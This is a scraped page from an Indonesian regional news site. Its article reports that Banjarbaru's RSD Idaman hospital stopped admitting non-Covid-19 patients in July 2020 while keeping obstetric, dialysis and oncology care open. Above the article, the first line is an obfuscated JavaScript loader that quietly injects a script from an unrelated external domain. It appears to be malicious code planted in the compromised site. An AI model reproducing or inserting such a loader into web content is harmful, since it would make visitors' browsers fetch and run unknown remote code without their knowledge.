(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Penutupan Layanan di RSD Idaman, Wali Kota Nadjmi: Kebidanan dan Kandungan Tetap Dilayani


KANALKALIMANTAN.COM, BANJARBARU – Ditutupnya layanan Rumah Sakit Daerah (RSD) Idaman untuk pasien non Covid-19, mulai Sabtu (4/7/2020) ini, mengejutkan masyarakat. Namun, Wali Kota Banjarbaru, Nadjmi Adhani menegaskan khusus untuk kebidanan dan kandungan akan tetap dilayani.

“Untuk kasus pasien kebidanan dan kandungan, tetap dilayani seperti biasa di RSD Idaman Banjarbaru. Apalagi, jika situasinya emergency,” tegas Nadjmi. Ia menambahkan, pembatasan layanan pasien umum tersebut dimaksudkan sebagai upaya pencegahan penularan Covid-19.

Hal tersebut juga turut didukung pernyataan Kepala Seksi Pelayanan Medik RSDI Banjarbaru, Dr Siti Ningsih, yang mengatakan ruang penanganan pasien kandungan memang terpisah dari ruang IGD, yang saat ini dipenuhi pasien Covid-19.

Selain layanan kebidanan dan kandungan yang tetap berjalan normal, Siti juga mengatakan bagi pasien yang rutin melakukan terapi Hemodialisis (HD) transfusi, ataupun Hematologi dan Onkologi tetap akan dilayani.

“Untuk kasus seperti pasien rutin HD yang harus transfusi atau pasien hematologi dan onkologi yang rutin masuk juga tetap kami layani,” terangnya.

Seperti diberitakan sebelumnya, RSD Idaman Banjarbaru mengumumkan bahwa untuk sementara waktu tidak bisa menerima pasien non Covid-19. Kebijakan ini ditetapkan hingga waktu yang tidak bisa ditentukan.

Alasan mengapa fasilias kesehatan milik pemerintah ini tak lagi dibuka untuk umum, menyusul banyaknya jumlah pasien positif Covid-19 yang saat ini dilayani, hingga seluruh ruang kamar telah terisi penuh.

Siti menceritakan bahwa kondisi di RSD Idaman Banjarbaru, seperti halnya di ruang IGD saat ini telah banyak terisi pasien Covid-19. Maka dari itu, pihaknya tak lagi bisa menerima pasien umum guna menghindari adanya kontak penularan.

Penumpukan di ruang IGD, lanjut Siti, disebabkan ruang isolasi khusus paisen Covid-19 saat ini telah penuh. Akibatnya, para pasien Covid-19 maupun yang masih berstatus Pasien Dalam Pengawasan (PDP) dirawat di ruang umum.

“Saat ini kita berusaha mengurai penumpukan di IGD. Kita usahan selambat-lambatnya Minggu (5/72020) besok, aktivitas rumah sakit sudah kembali normal,” pungkas Siti. (Kanalkalimantan.com/rico)

Reporter : rico
Editor : cell

 


Al Ghifari

Recent Posts

Gunungan Sampah di Veteran Banjarmasin, Darurat Sampah Makin Menjadi

KANALKALIMANTAN.COM, BANJARMASIN – Darurat sampah di Banjarmasin sudah tak bisa ditolerir, keterbatasan titik kumpul sampah… Read More

6 jam ago

Sahrujani – Hero Setiawan Bertekad Membawa HSU Bangkit

KANALKALIMANTAN.COM, AMUNTAI – “HSU Bangkit!”, semangat itu terlontar saat Bupati Hulu Sungai Utara (HSU) H… Read More

6 jam ago

Kekosongan Kepala Daerah di Ibu Kota Kalsel

KANALKALIMANTAN.COM, BANJARBARU -  Posisi kepala daerah di Ibu Kota Provinsi Kalimantan Selatan harus diisi selambat-lambatnya… Read More

7 jam ago

Langkah Mundur Wartono dari Wawali Banjarbaru, Klaim Hindari Konflik Kepentingan PSU

KANALKALIMANTAN.COM, BANJARBARU - Tim Pemenangan pasangan calon Wali Kota dan Wakil Wali Kota Banjarbaru Lisa… Read More

9 jam ago

Bupati Sahrujani Kaji Pemberian Bunga Ringan Program KUR ke UMKM

KANALKALIMANTAN.COM, AMUNTAI - Kabar gembira bagi pelaku Usaha Mikro Kecil Menengah (UMKM) di Kabupaten Hulu… Read More

11 jam ago

Pererat Silaturahmi, Ketua TP PKK HSU Hadiri Pertemuan Rutin GOW

KANALKALIMANTAN.COM, AMUNTAI - Ketua Tim Penggerak (TP) PKK Kabupaten Hulu Sungai Utara (HSU) Hj Murniati… Read More

14 jam ago